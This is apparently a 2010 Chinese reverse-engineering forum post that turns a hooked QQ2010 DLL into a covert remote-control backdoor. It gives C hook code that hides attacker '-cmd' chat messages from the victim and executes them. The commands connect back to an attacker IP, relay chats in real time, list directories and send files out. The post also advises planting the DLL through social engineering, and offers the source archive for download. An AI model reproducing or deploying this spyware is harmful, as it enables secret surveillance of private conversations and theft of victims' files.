• 利用qq2010聊天信息获取，打造自己的远程控制

*******************************************************
*标题:【原创】利用qq2010聊天信息获取，打造自己的远程控制 *
*作者:踏雪流云                                             *
*日期:2010年9月24号                                      *
*声明:本文章的目的仅为技术交流讨论                         *
*******************************************************
前些天，小弟通过逆向QQSpy，侥幸成功实现QQ2010聊天信息获取，参见原文：http://bbs.pediy.com/showthread.php?t=119659
后来，小弟有一天闲来无事，对此又进行了一下深入一点的研究。
首先，将上文中的附件im32.dll和msimg32.dll放入QQ的Bin目录下，用OD加载im32.dll，在Hook_SaveMsg的函数中设置断点；然后，加载QQ，运行后，给此QQ发送一条消息，便命中断点于Hook_SaveMsg函数中，Ctrl+F9，便来到如下位置：

代码:
3119CBCD    FF15 6CA92A31   call    dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::GetSelfUin
3119CBD3    50              push    eax
3119CBD4    68 10542B31     push    312B5410                         ; UNICODE "buddy"
3119CBD9    FF15 C4A72A31   call    dword ptr [<&KernelUtil.Util::Ms>; KernelUt.Util::Msg::SaveMsg
3119CBDF    8B45 EC         mov     eax, dword ptr [ebp-14]
3119CBE2    83C4 18         add     esp, 18
3119CBE5    3BC3            cmp     eax, ebx
3119CBE7    885D FC         mov     byte ptr [ebp-4], bl
3119CBEA    74 08           je      short 3119CBF4
再Ctrl+F9，便来到如下位置：
代码:
3116B922    8B45 F0         mov     eax, dword ptr [ebp-10]
3116B925    8B48 0C         mov     ecx, dword ptr [eax+C]
3116B928    51              push    ecx
3116B929    FF15 58A82A31   call    dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::IsPrevented
3116B92F    83C4 04         add     esp, 4
3116B932    85C0            test    eax, eax
3116B934    0F85 44010000   jnz     3116BA7E
3116B93A    50              push    eax
3116B93B    8D55 D0         lea     edx, dword ptr [ebp-30]
当看到KernelUt.Util::Contact::IsPrevented这个导出函数时，感觉这个函数应该是用来判断是否屏蔽某人对自己的消息的（因为QQ有一个功能是屏蔽此人消息）；通过调试，果如其然，这个IsPrevented函数的参数就是对方的QQ号码，返回值为BOOL值；单步调试过此函数后，将eax的零改为一，就不显示接收到此人消息了。。。
由此引发的联想是，如果我利用qq聊天窗口向对方发送命令，岂不可以达到远程控制的目的？
具体流程如下：
1.将此im32.dll文件放入对方Bin目录下，社会工程学的东西。
2.对方运行加载了此im32.dll的QQ后，可以给对方发送命令，达到远程控制的目的。
如：
-cmd ip 127.0.0.1   //给对方发送自己的ip地址；此时，im32.dll会使用UDP连接此ip。
-cmd msg   //实时发送聊天信息给对方。
-cmd dir D:\*.*  //枚举某一目录下的所有文件，并发给对方。
-cmd file D:\123.txt   //发送某文件给对方。
更多的功能可以自己添加。
实现代码如下：
代码:
HANDLE Hook_SaveMsg(wchar_t const * str, unsigned long dstqq, unsigned long srcqq, unsigned long data3,
              struct ITXMsgPack * pmsg, struct ITXData * pdata)
{  
  bCmd=FALSE;
  wchar_t * msg=NULL;
  AbstractMsg((struct ITXMsgPack *)&msg,(DWORD)pmsg);//获取聊天信息
  if(srcqq==QQ)//判断是否是对方QQ号码
  {
    if(msg[0]=='-'&&msg[1]=='c'&&msg[2]=='m'&&msg[3]=='d')//-cmd，判断是否是命令
    {
      bCmd=TRUE;//标记是命令
      ExecuteCmd(&msg[5]);//命令处理
      return 0;//如果是命令，就不SaveMsg，即不保存聊天信息，直接返回
    }
  }
  if(nSendType==1)
  {
    SendMsg(msg,dstqq,srcqq);//实时发送聊天信息给对方
  }

  ChookSaveMsgKey->HookStatus(FALSE);
    (MsgSave)SaveMsg(str,dstqq,srcqq,data3,pmsg,pdata);//保存聊天信息
  ChookSaveMsgKey->HookStatus(TRUE);

  return 0;
}

int Hook_IsPrevented(unsigned long qq)
{
  if(qq==QQ&&bCmd)//如果QQ号码是对方，并且发送的是命令
  {
    bCmd=FALSE;//清空标记
    return 1;//返回1，即屏蔽此人消息，这样本方就不会提示收到此信息了，达到利用qq聊天窗口作为命令窗口的目的
  }

  ChookIsPreventedKey->HookStatus(FALSE);
    (IsPrevented)IsOldrevented(qq);
  ChookIsPreventedKey->HookStatus(TRUE);

  return 0;
}

void ExecuteCmd(wchar_t * cmdkey)
{
  //Unicode编码转换为Multi-Byte编码
  int len = WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), NULL, 0, NULL, NULL);   
  char * buffer = new char[len + 1];
  WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), buffer, len, NULL, NULL);   
  buffer[len] = '\0';   
  if(buffer[0]=='i'&&buffer[1]=='p')//ip
  {
    ConnectServer(&buffer[3]);
  }
  else if(buffer[0]=='b'&&buffer[1]=='o'&&buffer[2]=='x')//box
  {
    ShowMessageBox(&buffer[4]);
  }
  else if(buffer[0]=='m'&&buffer[1]=='s'&&buffer[2]=='g')//msg
  {
    nSendType=1;
  }
  else if(buffer[0]=='d'&&buffer[1]=='i'&&buffer[2]=='r')//dir
  {
    SendDir(&buffer[4]);
  }
  else if(buffer[0]=='f'&&buffer[1]=='i'&&buffer[2]=='l'&&buffer[3]=='e')//file
  {
    SendFile(&buffer[5]);
  }

  delete[] buffer;
}
源代码如下：
im32.rar
测试截图：

此图是在本机测试，测试成功；远程测试，就依赖UDP连接了，我没有进行过远程测试。。。
因为只是测试，文件传输功能未优化（其实是不靠谱，自己懒得弄了，望有兴趣者完善之）。